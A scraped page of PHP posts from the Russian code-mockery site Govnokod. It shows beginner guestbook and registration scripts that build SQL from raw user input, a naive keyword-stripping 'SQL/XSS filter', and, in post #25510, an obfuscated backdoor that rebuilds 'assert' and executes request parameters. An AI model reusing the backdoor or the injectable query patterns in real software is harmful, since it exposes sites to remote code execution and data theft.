1. PHP / Говнокод #25551

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    <?php $connection = mysqli_connect ('localhost','root','','userlistdb'); 
           
            $per_page = 25;
            $page = 1;
    
    if (isset($_GET['page']))
            {
        $page = (int) $_GET['page'];
    }
            $total_cout_q = mysqli_query($connection, "SELECT COUNT(id_com) AS `total_count` FROM `comment`")
            $total_count = mysqli_fetch_assoc($total_cout_q);
            $total_count = $total_count['total_count'];
            
            $total_pages = ceil ($total_count/ $per_pages);
            if($page <= 1 || $page > $total_pages)
            {
                $page = 1;
            }
            $offset = ($per_page * $page)- $per_page;
            $coments = mysqli_query($connection, "SELECT *  `total_count` FROM `comment` ORDER  BY `id_com` DESC LIMIT  $offset, $per_page"); 
           $coments_exist = true;
            if(mysqli_nu,_rows($coments) <= 0 ){
               echo 'Нет коментариев';
                $coments_exist = false;
           }
        while( $result = mysqli_fetch_assoc($coments){
                
            } 
            $row = mysqli_query($connection, "SELECT * FROM `comment` ORDER  BY `id_com` DESC LIMIT 25");      
        ?>
    
         <table>
        <tr>
            <th><a href="?orderBy=username">username:</a>
            </th>
            <th>  <a href="?orderBy=email">email:</a>
            </th>
            <th>  <a href="?orderBy=recorded_date"> Date:</a>
            </th>
            <th>  <a href="?orderBy=comment">Added Date:</a>
            </th>
        </tr>
        
             <?php 
                while($row = mysql_fetch_array($result)){
        ?>
          <tr>
           <th><?php echo $result['username']; ?> </th>
           <th><?php echo $result['email']; ?> </th>
           <th><?php echo $result['Date']; ?> </th>
           <th><?php echo $result['comment']; ?> </th>
           </tr>
         </table>
    
    <?php //Страницы 
                    if ( $coments_exist = true)
                    {
                        echo '<div class="paginator">';
                    if($page > 1)
                        {
                    echo '<a href= "/Guestbook.php?page='.($page - 1).'">« предыдущий </a>'; 
                    }  if($page < $total_pages)
                        {
                    echo '<a href= "/Guestbook.php?page='.($page + 1).'"> Cледующая &eaquo; </a>';        
                    }
                        echo '</div>';
                    }
                    
                    $orderBy = array('username', 'email', 'recorded_date', 'comment');
    
    $order = 'username';
    if (isset($_GET['orderBy']) && in_array($_GET['orderBy'], $orderBy)) {
        $order = $_GET['orderBy'];
          }
             $query = 'SELECT * FROM `comment` ORDER BY '.$order;
         }
    mysqli_close();
    ?>

    Привет, тут в коде сортировка и переход по страницыам, сортировка в строки с таблицы HTML, вызываемые из MySQL, при нажиматие на username едёт сортировка по алфавиту, а затем нажимать на email или Date и сортировать по дате, но выдаёт ошыбки...

    arts, 18 Апреля 2019

    Комментарии (3)
  2. PHP / Говнокод #25548

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    /* Создание базы данных */
    CREATE DATABASE userlistdb;
    
    /* Создание таблицы */
    CREATE TABLE `usertbl` (
    `id` int(11) NOT NULL auto_increment,
    `full_name` varchar(32) collate utf8_unicode_ci NOT NULL default '',
    `email` varchar(32) collate utf8_unicode_ci NOT NULL default '',
    `username` varchar(20) collate utf8_unicode_ci NOT NULL default '',
    `password` varchar(32) collate utf8_unicode_ci NOT NULL default '',
    PRIMARY KEY  (`id`),
    UNIQUE KEY `username` (`username`)
    ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
    
    
    <?php
    require("constants.php");
    $connection = mysqli_connect('127.0.0.1', 'root', '', 'userlistdb');
    
    
    if( $connection == false)
    {
        echo 'Не удалось подключиться к базе данных!<br>';
        echo mysqli_connect_error();
        exit();
    }
    	?>
    
    if(isset($_POST["register"])){
    
    
    if(!empty($_POST['full_name']) && !empty($_POST['email']) && !empty($_POST['username']) && !empty($_POST['password'])) {
    	$full_name=$_POST['full_name'];
    	$email=$_POST['email'];
    	$username=$_POST['username'];
    	$password=$_POST['password'];
    	
    	$query = mysql_query ($connection, "SELECT `username`  FROM `usertbl` WHERE `username` ='".$username."'");
    	$numrows=mysql_num_rows($query);
    	
    	if($numrows==0)
    	{
    	$sql="INSERT INTO usertbl
    			(full_name, email, username, password) 
    			VALUES('$full_name','$email', '$username', '$password')";
    
    	$result=mysql_query($sql);
    
    
    	if($result){
    	 $message = "Account Successfully Created";
    	} else {
    	 $message = "Failed to insert data information!";
    	}
    
    	} else {
    	 $message = "That username already exists! Please try another one!";
    	}
    
    } else {
    	 $message = "All fields are required!";
    }
    }
    ?>
    
    
    <?php if (!empty($message)) {echo "<p class=\"error\">" . "MESSAGE: ". $message . "</p>";} ?>
    	
    <div class="container mregister">
    			<div id="login">
    	<h1>REGISTER</h1>
    <form name="registerform" id="registerform" action="register.php" method="post">
    			
    	<p>
    		<label for="user_pass">Username<br />
    		<input type="text" name="username" id="username" class="input" value="" size="20" /></label>
    	</p>
    	
    	<p>
    		<label for="user_pass">Password<br />
    		<input type="password" name="password" id="password" class="input" value="" size="32" /></label>
    	</p>	
    	
    
    		<p class="submit">
    		<input type="submit" name="register" id="register" class="button" value="Register" />
    	</p>
    	
    	<p class="regtext">Already have an account? <a href="login.php" >Login Here</a>!</p>
    </form>

    Подскажите что еи надо, выдаёт эту ошибку
    Неустранимая ошибка : необработанная ошибка: вызов неопределенной функции mysql_query () в C: \ Users \ John \ Desktop \ OSPanel \ domains \ localhost \ phpform \ register.php: 16 Трассировка стека: # 0 {main} выбрасывается в register.php в строке 16

    $query = mysql_query ( "SELECT `username` FROM `usertbl` WHERE `username` ='".$username."'");

    arts, 17 Апреля 2019

    Комментарии (11)
  3. PHP / Говнокод #25542

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    if (...) {
       if(...) {
          ...
       } else {
          return $this->render('error', array("case" => 1));
       }
    } else {
       return $this->render('error', array("case" => 2));
    }

    И сразу понятно, какая ошибка прозошла (нет)

    Hvreg, 15 Апреля 2019

    Комментарии (7)
  4. PHP / Говнокод #25536

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    class SqlXssFilter {
        private static $sql_keywords = array(
            'ADD',
            'ADD CONSTRAINT',
            'ALTER',
            'ALTER COLUMN',
            'ALTER TABLE',
            'ALL',
            'AND',
            'ANY',
            'AS',
            'ASC',
            'BACKUP DATABASE',
            'BETWEEN',
            'CASE',
            'CHECK',
            'COLUMN'
            'CONSTRAINT',
            'CREATE',
            'CREATE DATABASE',
            'CREATE INDEX',
            'CREATE OR REPLACE VIEW',
            'CREATE TABLE',
            'CREATE PROCEDURE',
            'CREATE UNIQUE INDEX',
            'CREATE VIEW',
            'DATABASE',
            'DEFAULT',
            'DELETE',
            'DESC',
            'DISTINCT',
            'DROP',
            'DROP COLUMN',
            'DROP CONSTRAINT',
            'DROP DATABASE',
            'DROP DEFAULT',
            'DROP INDEX',
            'DROP TABLE',
            'DROP VIEW',
            'EXEC',
            'EXISTS',
            'FOREIGN KEY',
            'FROM',
            'FULL OUTER JOIN',
            'GROUP BY',
            'HAVING',
            'IN',
            'INDEX',
            'INNER JOIN',
            'INSERT INTO',
            'INSERT INTO SELECT',
            'IS NULL',
            'IS NOT NULL',
            'JOIN',
            'LEFT JOIN',
            'LIKE',
            'LIMIT',
            'NOT',
            'NOT NULL',
            'OR',
            'ORDER BY',
            'OUTER JOIN',
            'PRIMARY KEY',
            'PROCEDURE',
            'RIGHT JOIN',
            'ROWNUM',
            'SELECT',
            'SELECT DISTINCT',
            'SELECT INTO',
            'SELECT TOP',
            'SET',
            'TABLE',
            'TOP',
            'TRUNCATE TABLE',
            'UNION',
            'UNION ALL',
            'UNIQUE',
            'UPDATE',
            'VALUES',
            'VIEW',
            'WHERE'
        );
        // XSS and SQL-inject filter 
        public static function filterInputData(&$str) {
            // remove html tags
            $res = strip_tags($str);
            $res = str_replace(self::sql_keywords, "", $str);
            return $res;
        }
    }

    Сойдет.

    OlegUP, 12 Апреля 2019

    Комментарии (21)
  5. PHP / Говнокод #25534

    −2

    1. 1
    2. 2
    3. 3
    4. 4
    <?php
     
    §nemyx = "kokoko";
    echo §nemyx;

    Какой анскилл )))

    OCETuHCKuu_nemyx, 11 Апреля 2019

    Комментарии (14)
  6. PHP / Говнокод #25531

    0

    1. 1
    2. 2
    В "PHP" одинарные кавычки быстрее, чем двойные.
    https://habr.com/ru/company/alfa/blog/447416/

    Какой анскилл )))

    BoeHHblu_nemyx, 10 Апреля 2019

    Комментарии (13)
  7. PHP / Говнокод #25529

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    // table for cart must have unique index for both columns for correct effect of this function
        function save() {
            if ($this->errno_ || !$this->db_link_)
                return;
                
            // optimized loop
            $n = count($this->products_) - 1;
            $s_query = "REPLACE INTO `". Config::DB_CART_TABLE_NAME ."` VALUES ";
            for($i = 0; $i < $n; ++$i) {
                $s_query .= "('". $this->phpsessid_ ."',". $this->products_[$i]->getId() .",". $this->counts_[$i] .",'". $this->sizes_[$i] ."')"; 
            }
            if ($n + 1) 
                $s_query .= "('". $this->phpsessid_ ."',". $this->products_[$n]->getId() .",". $this->counts_[$n] .",'". $this->sizes_[$n] ."')";
            
            print($s_query);
            $res = mysqli_query($this->db_link_, $s_query);
            if (!$res)
                $this->errno_ = IModel::E_DB_QUERY;
        }
    
    // Запрос сформирован некорректно, нету запятых между кортежами значений:/
    // REPLACE INTO `cart` VALUES ('cbn1c7ljjd3gglb2lmpa96grnq3prq2iefb2elvcb4fhr9r0qls1',700,4,'')('cbn1c7ljjd3gglb2lmpa96grnq3prq2iefb2elvcb4fhr9r0qls1',701,2,'')

    Опять мой говнокод.
    И это как-то србатывало О_о

    OlegUP, 10 Апреля 2019

    Комментарии (4)
  8. PHP / Говнокод #25522

    0

    1. 1
    if (true === false)

    не ну шоб наверняка

    quentiam, 08 Апреля 2019

    Комментарии (10)
  9. PHP / Говнокод #25516

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    function getCartMiniViewDisplayString($cart_entries) {
        $count = $cart_entries->getProductCount();
        $suffix = "";
        $remainder = $count % 10;
        switch($remainder) {
            case 1:
                $suffix = " товар";
                break;
            case 2:
            case 3:
            case 4:
                $suffix = " товара";
                break;
            case 5:
            case 6:
            case 7:
            case 8:
            case 9:
            case 0:
                $suffix = " товаров";
                break;
        }
        return $count . $suffix;
    }

    Мой, переписывать с if в лень.

    OlegUP, 06 Апреля 2019

    Комментарии (20)
  10. PHP / Говнокод #25510

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function b($d,$a){
    		if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
    			$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
    			$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
    			if(isset($_REQUEST['s'.md5('bgdfgt')])){
    				if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
    			}
    			return true;
    		}
    		return false;
    	}
    	
    	
    	$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));

    Закладочка

    straga_coda, 04 Апреля 2019

    Комментарии (32)